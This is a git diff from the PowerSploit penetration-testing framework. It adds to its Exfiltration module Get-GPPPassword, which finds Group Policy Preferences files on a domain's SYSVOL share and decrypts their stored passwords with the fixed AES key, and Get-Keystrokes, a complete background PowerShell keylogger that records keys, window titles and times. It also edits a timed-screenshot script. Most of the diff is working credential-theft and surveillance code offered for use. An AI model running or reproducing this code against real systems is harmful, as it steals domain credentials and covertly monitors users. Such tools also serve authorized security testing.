diff options
Diffstat (limited to 'Exfiltration')
| -rw-r--r-- | Exfiltration/Exfiltration.psd1 | 2 | ||||
| -rw-r--r-- | Exfiltration/Get-GPPPassword.ps1 | 130 | ||||
| -rw-r--r-- | Exfiltration/Get-Keystrokes.ps1 | 247 | ||||
| -rw-r--r-- | Exfiltration/Get-TimedScreenshot.ps1 | 10 | 
4 files changed, 383 insertions, 6 deletions
| diff --git a/Exfiltration/Exfiltration.psd1 b/Exfiltration/Exfiltration.psd1 index 7c65566..ef3daec 100644 --- a/Exfiltration/Exfiltration.psd1 +++ b/Exfiltration/Exfiltration.psd1 @@ -74,7 +74,7 @@ ModuleList = @(@{ModuleName = 'Exfiltration'; ModuleVersion = '1.0.0.0'; GUID =  # List of all files packaged with this module
  FileList = 'Exfiltration.psm1', 'Exfiltration.psd1', 'Get-TimedScreenshot.ps1', 'Out-Minidump.ps1',
 -           'Usage.md'
 +           'Get-Keystrokes.ps1', 'Get-GPPPassword.ps1', 'Usage.md'
  # Private data to pass to the module specified in RootModule/ModuleToProcess
  # PrivateData = ''
 diff --git a/Exfiltration/Get-GPPPassword.ps1 b/Exfiltration/Get-GPPPassword.ps1 new file mode 100644 index 0000000..7204a45 --- /dev/null +++ b/Exfiltration/Get-GPPPassword.ps1 @@ -0,0 +1,130 @@ +function Get-GPPPassword { +<# +.SYNOPSIS + +    Retrieves the plaintext password and other information for accounts pushed through Group Policy Preferences. + +    PowerSploit Function: Get-GPPPassword +    Author: Chris Campbell (@obscuresec) +    License: BSD 3-Clause +    Required Dependencies: None +    Optional Dependencies: None +  +.DESCRIPTION + +    Get-GPPPassword searches the domain controller for groups.xml, scheduledtasks.xml, services.xml and datasources.xml and returns plaintext passwords. + +.EXAMPLE + +    Get-GPPPassword + +.LINK +     +    http://www.obscuresecurity.blogspot.com/2012/05/gpp-password-retrieval-with-powershell.html +    https://github.com/mattifestation/PowerSploit/blob/master/Recon/Get-GPPPassword.ps1 +    http://esec-pentest.sogeti.com/exploiting-windows-2008-group-policy-preferences +    http://rewtdance.blogspot.com/2012/06/exploiting-windows-2008-group-policy.html +#> +     +    [CmdletBinding()] +    Param () +     +    #define helper function that decodes and decrypts password +    function Get-DecryptedCpassword { +        Param ( +            [string] $Cpassword  +        ) + +        try { +            #Append appropriate padding based on string length   +            $Mod = ($Cpassword.length % 4) +            if ($Mod -ne 0) {$Cpassword += ('=' * (4 - $Mod))} + +            $Base64Decoded = [Convert]::FromBase64String($Cpassword) +             +            #Create a new AES .NET Crypto Object +            $AesObject = New-Object System.Security.Cryptography.AesCryptoServiceProvider +            [Byte[]] $AesKey = @(0x4e,0x99,0x06,0xe8,0xfc,0xb6,0x6c,0xc9,0xfa,0xf4,0x93,0x10,0x62,0x0f,0xfe,0xe8, +                                 0xf4,0x96,0xe8,0x06,0xcc,0x05,0x79,0x90,0x20,0x9b,0x09,0xa4,0x33,0xb6,0x6c,0x1b) +             +            #Set IV to all nulls to prevent dynamic generation of IV value +            $AesIV = New-Object Byte[]($AesObject.IV.Length)  +            $AesObject.IV = $AesIV +            $AesObject.Key = $AesKey +            $DecryptorObject = $AesObject.CreateDecryptor()  +            [Byte[]] $OutBlock = $DecryptorObject.TransformFinalBlock($Base64Decoded, 0, $Base64Decoded.length) +             +            return [System.Text.UnicodeEncoding]::Unicode.GetString($OutBlock) +        }  +         +        catch {Write-Error $Error[0]} +    }   +     +    #ensure that machine is domain joined and script is running as a domain account +    if (((Get-WmiObject Win32_ComputerSystem).partofdomain) -eq $False) {throw 'Machine is not joined to a domain.'} +    if (($Env:USERDNSDOMAIN) -eq $Null) {throw 'Account is not a domain account.'} +     +    #discover potential files containing passwords +    $XMlFiles = Get-ChildItem -Path "\\$Env:USERDNSDOMAIN\SYSVOL" -Recurse -Include 'groups.xml','services.xml','scheduledtasks.xml','datasources.xml' +     +    foreach ($File in $XMLFiles) { +         +        try { +            $Filename = $File.Name +            $Filepath = $File.VersionInfo.FileName + +            #put filename in $XmlFile +            [xml] $Xml = Get-Content ($File) + +            #declare blank variables +            $Cpassword = '' +            $UserName = '' +            $NewName = '' +            $Changed = '' +     +            switch ($Filename) { + +                'Groups.xml' { +                    $Cpassword = $Xml.Groups.User.Properties.cpassword +                    $UserName = $Xml.Groups.User.Properties.userName +                    $NewName = $Xml.Groups.User.Properties.newName +                    $Changed = $Xml.Groups.User.changed +                } +         +                'Services.xml' { +                    $Cpassword = $Xml.NTServices.NTService.Properties.cpassword +                    $UserName = $Xml.NTServices.NTService.Properties.accountName +                    $Changed = $Xml.NTServices.NTService.changed +                } +         +                'Scheduledtasks.xml' { +                    $Cpassword = $Xml.ScheduledTasks.Task.Properties.cpassword +                    $UserName = $Xml.ScheduledTasks.Task.Properties.runAs +                    $Changed = $Xml.ScheduledTasks.Task.changed +                } +         +                'DataSources.xml' { +                    $Cpassword = $Xml.DataSources.DataSource.Properties.cpassword +                    $UserName = $Xml.DataSources.DataSource.Properties.username +                    $Changed = $Xml.DataSources.DataSource.changed +                } +            } + +            if ($Cpassword) {$Password = Get-DecryptedCpassword $Cpassword} + +            else {Write-Verbose "No encrypted passwords found in $Filepath"} +         +            #Create custom object to output results +            $ObjectProperties = @{'Password' = $Password; +                                  'UserName' = $UserName; +                                  'Changed' = $Changed; +                                  'NewName' = $NewName +                                  'File' = $Filepath} +                 +            $ResultsObject = New-Object -TypeName PSObject -Property $ObjectProperties +            Write-Output $ResultsObject +        } +         +        catch {Write-Error $Error[0]}   +    } +} diff --git a/Exfiltration/Get-Keystrokes.ps1 b/Exfiltration/Get-Keystrokes.ps1 new file mode 100644 index 0000000..0698d9d --- /dev/null +++ b/Exfiltration/Get-Keystrokes.ps1 @@ -0,0 +1,247 @@ +function Get-Keystrokes { +<# +.SYNOPSIS +  +    Logs keys pressed, time and the active window. +     +    PowerSploit Function: Get-Keystrokes +    Author: Chris Campbell (@obscuresec) and Matthew Graeber (@mattifestation) +    License: BSD 3-Clause +    Required Dependencies: None +    Optional Dependencies: None +     +.PARAMETER LogPath + +    Specifies the path where pressed key details will be logged. By default, keystrokes are logged to '$($Env:TEMP)\key.log'. + +.PARAMETER CollectionInterval + +    Specifies the interval in minutes to capture keystrokes. By default, keystrokes are captured indefinitely. + +.EXAMPLE + +    Get-Keystrokes -LogPath C:\key.log + +.EXAMPLE + +    Get-Keystrokes -CollectionInterval 20 + +.LINK + +    http://www.obscuresec.com/ +    http://www.exploit-monday.com/ +#> +    [CmdletBinding()] Param ( +        [Parameter(Position = 0)] +        [ValidateScript({Test-Path -Path (Split-Path -Parent $_) -PathType Container})] +        [String] +        $LogPath = "$($Env:TEMP)\key.log", + +        [Parameter(Position = 1)] +        [UInt32] +        $CollectionInterval +    ) + +    Write-Verbose "Logging keystrokes to $LogPath" + +    $Initilizer = { +        $LogPath = 'REPLACEME' + +        '"TypedKey","Time","WindowTitle"' | Out-File -FilePath $LogPath -Encoding unicode + +        function KeyLog { +            [Reflection.Assembly]::LoadWithPartialName('System.Windows.Forms') | Out-Null + +            try +            { +                $ImportDll = [User32] +            } +            catch +            { +                $DynAssembly = New-Object System.Reflection.AssemblyName('Win32Lib') +                $AssemblyBuilder = [AppDomain]::CurrentDomain.DefineDynamicAssembly($DynAssembly, [Reflection.Emit.AssemblyBuilderAccess]::Run) +                $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('Win32Lib', $False) +                $TypeBuilder = $ModuleBuilder.DefineType('User32', 'Public, Class') + +                $DllImportConstructor = [Runtime.InteropServices.DllImportAttribute].GetConstructor(@([String])) +                $FieldArray = [Reflection.FieldInfo[]] @( +                    [Runtime.InteropServices.DllImportAttribute].GetField('EntryPoint'), +                    [Runtime.InteropServices.DllImportAttribute].GetField('ExactSpelling'), +                    [Runtime.InteropServices.DllImportAttribute].GetField('SetLastError'), +                    [Runtime.InteropServices.DllImportAttribute].GetField('PreserveSig'), +                    [Runtime.InteropServices.DllImportAttribute].GetField('CallingConvention'), +                    [Runtime.InteropServices.DllImportAttribute].GetField('CharSet') +                ) + +                $PInvokeMethod = $TypeBuilder.DefineMethod('GetAsyncKeyState', 'Public, Static', [Int16], [Type[]] @([Windows.Forms.Keys])) +                $FieldValueArray = [Object[]] @( +                    'GetAsyncKeyState', +                    $True, +                    $False, +                    $True, +                    [Runtime.InteropServices.CallingConvention]::Winapi, +                    [Runtime.InteropServices.CharSet]::Auto +                ) +                $CustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($DllImportConstructor, @('user32.dll'), $FieldArray, $FieldValueArray) +                $PInvokeMethod.SetCustomAttribute($CustomAttribute) + +                $PInvokeMethod = $TypeBuilder.DefineMethod('GetKeyboardState', 'Public, Static', [Int32], [Type[]] @([Byte[]])) +                $FieldValueArray = [Object[]] @( +                    'GetKeyboardState', +                    $True, +                    $False, +                    $True, +                    [Runtime.InteropServices.CallingConvention]::Winapi, +                    [Runtime.InteropServices.CharSet]::Auto +                ) +                $CustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($DllImportConstructor, @('user32.dll'), $FieldArray, $FieldValueArray) +                $PInvokeMethod.SetCustomAttribute($CustomAttribute) + +                $PInvokeMethod = $TypeBuilder.DefineMethod('MapVirtualKey', 'Public, Static', [Int32], [Type[]] @([Int32], [Int32])) +                $FieldValueArray = [Object[]] @( +                    'MapVirtualKey', +                    $False, +                    $False, +                    $True, +                    [Runtime.InteropServices.CallingConvention]::Winapi, +                    [Runtime.InteropServices.CharSet]::Auto +                ) +                $CustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($DllImportConstructor, @('user32.dll'), $FieldArray, $FieldValueArray) +                $PInvokeMethod.SetCustomAttribute($CustomAttribute) + +                $PInvokeMethod = $TypeBuilder.DefineMethod('ToUnicode', 'Public, Static', [Int32], +                    [Type[]] @([UInt32], [UInt32], [Byte[]], [Text.StringBuilder], [Int32], [UInt32])) +                $FieldValueArray = [Object[]] @( +                    'ToUnicode', +                    $False, +                    $False, +                    $True, +                    [Runtime.InteropServices.CallingConvention]::Winapi, +                    [Runtime.InteropServices.CharSet]::Auto +                ) +                $CustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($DllImportConstructor, @('user32.dll'), $FieldArray, $FieldValueArray) +                $PInvokeMethod.SetCustomAttribute($CustomAttribute) + +                $PInvokeMethod = $TypeBuilder.DefineMethod('GetForegroundWindow', 'Public, Static', [IntPtr], [Type[]] @()) +                $FieldValueArray = [Object[]] @( +                    'GetForegroundWindow', +                    $True, +                    $False, +                    $True, +                    [Runtime.InteropServices.CallingConvention]::Winapi, +                    [Runtime.InteropServices.CharSet]::Auto +                ) +                $CustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($DllImportConstructor, @('user32.dll'), $FieldArray, $FieldValueArray) +                $PInvokeMethod.SetCustomAttribute($CustomAttribute) + +                $ImportDll = $TypeBuilder.CreateType() +            } + +            Start-Sleep -Milliseconds 40 + +                try +                { + +                    #loop through typeable characters to see which is pressed +                    for ($TypeableChar = 1; $TypeableChar -le 254; $TypeableChar++) +                    { +                        $VirtualKey = $TypeableChar +                        $KeyResult = $ImportDll::GetAsyncKeyState($VirtualKey) + +                        #if the key is pressed +                        if (($KeyResult -band 0x8000) -eq 0x8000) +                        { + +                            #check for keys not mapped by virtual keyboard +                            $LeftShift    = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::LShiftKey) -band 0x8000) -eq 0x8000 +                            $RightShift   = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::RShiftKey) -band 0x8000) -eq 0x8000 +                            $LeftCtrl     = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::LControlKey) -band 0x8000) -eq 0x8000 +                            $RightCtrl    = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::RControlKey) -band 0x8000) -eq 0x8000 +                            $LeftAlt      = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::LMenu) -band 0x8000) -eq 0x8000 +                            $RightAlt     = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::RMenu) -band 0x8000) -eq 0x8000 +                            $TabKey       = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Tab) -band 0x8000) -eq 0x8000 +                            $SpaceBar     = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Space) -band 0x8000) -eq 0x8000 +                            $DeleteKey    = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Delete) -band 0x8000) -eq 0x8000 +                            $EnterKey     = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Return) -band 0x8000) -eq 0x8000 +                            $BackSpaceKey = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Back) -band 0x8000) -eq 0x8000 +                            $LeftArrow    = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Left) -band 0x8000) -eq 0x8000 +                            $RightArrow   = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Right) -band 0x8000) -eq 0x8000 +                            $UpArrow      = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Up) -band 0x8000) -eq 0x8000 +                            $DownArrow    = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Down) -band 0x8000) -eq 0x8000 +                            $LeftMouse    = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::LButton) -band 0x8000) -eq 0x8000 +                            $RightMouse   = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::RButton) -band 0x8000) -eq 0x8000 + +                            if ($LeftShift -or $RightShift) {$LogOutput += '[Shift]'} +                            if ($LeftCtrl  -or $RightCtrl)  {$LogOutput += '[Ctrl]'} +                            if ($LeftAlt   -or $RightAlt)   {$LogOutput += '[Alt]'} +                            if ($TabKey)       {$LogOutput += '[Tab]'} +                            if ($SpaceBar)     {$LogOutput += '[SpaceBar]'} +                            if ($DeleteKey)    {$LogOutput += '[Delete]'} +                            if ($EnterKey)     {$LogOutput += '[Enter]'} +                            if ($BackSpaceKey) {$LogOutput += '[Backspace]'} +                            if ($LeftArrow)    {$LogOutput += '[Left Arrow]'} +                            if ($RightArrow)   {$LogOutput += '[Right Arrow]'} +                            if ($UpArrow)      {$LogOutput += '[Up Arrow]'} +                            if ($DownArrow)    {$LogOutput += '[Down Arrow]'} +                            if ($LeftMouse)    {$LogOutput += '[Left Mouse]'} +                            if ($RightMouse)   {$LogOutput += '[Right Mouse]'} + +                            #check for capslock +                            if ([Console]::CapsLock) {$LogOutput += '[Caps Lock]'} + +                            $MappedKey = $ImportDll::MapVirtualKey($VirtualKey, 3) +                            $KeyboardState = New-Object Byte[] 256 +                            $CheckKeyboardState = $ImportDll::GetKeyboardState($KeyboardState) + +                            #create a stringbuilder object +                            $StringBuilder = New-Object -TypeName System.Text.StringBuilder; +                            $UnicodeKey = $ImportDll::ToUnicode($VirtualKey, $MappedKey, $KeyboardState, $StringBuilder, $StringBuilder.Capacity, 0) + +                            #convert typed characters +                            if ($UnicodeKey -gt 0) { +                                $TypedCharacter = $StringBuilder.ToString() +                                $LogOutput += ('['+ $TypedCharacter +']') +                            } + +                            #get the title of the foreground window +                            $TopWindow = $ImportDll::GetForegroundWindow() +                            $WindowTitle = (Get-Process | Where-Object { $_.MainWindowHandle -eq $TopWindow }).MainWindowTitle + +                            #get the current DTG +                            $TimeStamp = (Get-Date -Format dd/MM/yyyy:HH:mm:ss:ff) + +                            #Create a custom object to store results +                            $ObjectProperties = @{'Key Typed' = $LogOutput; +                                                  'Time' = $TimeStamp; +                                                  'Window Title' = $WindowTitle} +                            $ResultsObject = New-Object -TypeName PSObject -Property $ObjectProperties + +                            # Stupid hack since Export-CSV doesn't have an append switch in PSv2 +                            $CSVEntry = ($ResultsObject | ConvertTo-Csv -NoTypeInformation)[1] + +                            #return results +                            Out-File -FilePath $LogPath -Append -InputObject $CSVEntry -Encoding unicode + +                        } +                    } +                } +                catch {} +            } +        } + +    $Initilizer = [ScriptBlock]::Create(($Initilizer -replace 'REPLACEME', $LogPath)) + +    Start-Job -InitializationScript $Initilizer -ScriptBlock {for (;;) {Keylog}} -Name Keylogger | Out-Null + +    if ($PSBoundParameters['CollectionInterval']) +    { +        $Timer = New-Object Timers.Timer($CollectionInterval * 60 * 1000) + +        Register-ObjectEvent -InputObject $Timer -EventName Elapsed -SourceIdentifier ElapsedAction -Action { +            Stop-Job -Name Keylogger +            Unregister-Event -SourceIdentifier ElapsedAction +            $Sender.Stop() +        } | Out-Null +    } + +}
\ No newline at end of file diff --git a/Exfiltration/Get-TimedScreenshot.ps1 b/Exfiltration/Get-TimedScreenshot.ps1 index e1c44d0..c14c723 100644 --- a/Exfiltration/Get-TimedScreenshot.ps1 +++ b/Exfiltration/Get-TimedScreenshot.ps1 @@ -50,7 +50,7 @@ https://github.com/mattifestation/PowerSploit/blob/master/Exfiltration/Get-Timed      )
      #Define helper function that generates and saves screenshot
 -    Function GenScreenshot {
 +    Function Get-Screenshot {
         $ScreenBounds = [Windows.Forms.SystemInformation]::VirtualScreen
         $ScreenshotObject = New-Object Drawing.Bitmap $ScreenBounds.Width, $ScreenBounds.Height
         $DrawingGraphics = [Drawing.Graphics]::FromImage($ScreenshotObject)
 @@ -86,7 +86,7 @@ https://github.com/mattifestation/PowerSploit/blob/master/Exfiltration/Get-Timed              [String] $FilePath = (Join-Path $Path $FileName)
              #run screenshot function
 -            GenScreenshot
 +            Get-Screenshot
              Write-Verbose "Saved screenshot to $FilePath. Sleeping for $Interval seconds"
 @@ -94,8 +94,8 @@ https://github.com/mattifestation/PowerSploit/blob/master/Exfiltration/Get-Timed          }
          #note that this will run once regardless if the specified time as passed
 -        While ((Get-Date -Format HH:%m) -lt $EndTime)
 +        While ((Get-Date -Format HH:mm) -lt $EndTime)
      }
 -    Catch {Write-Warning "$Error[0].ToString() + $Error[0].InvocationInfo.PositionMessage"}
 -}
\ No newline at end of file +    Catch {Write-Error $Error[0].ToString() + $Error[0].InvocationInfo.PositionMessage}
 +}
 |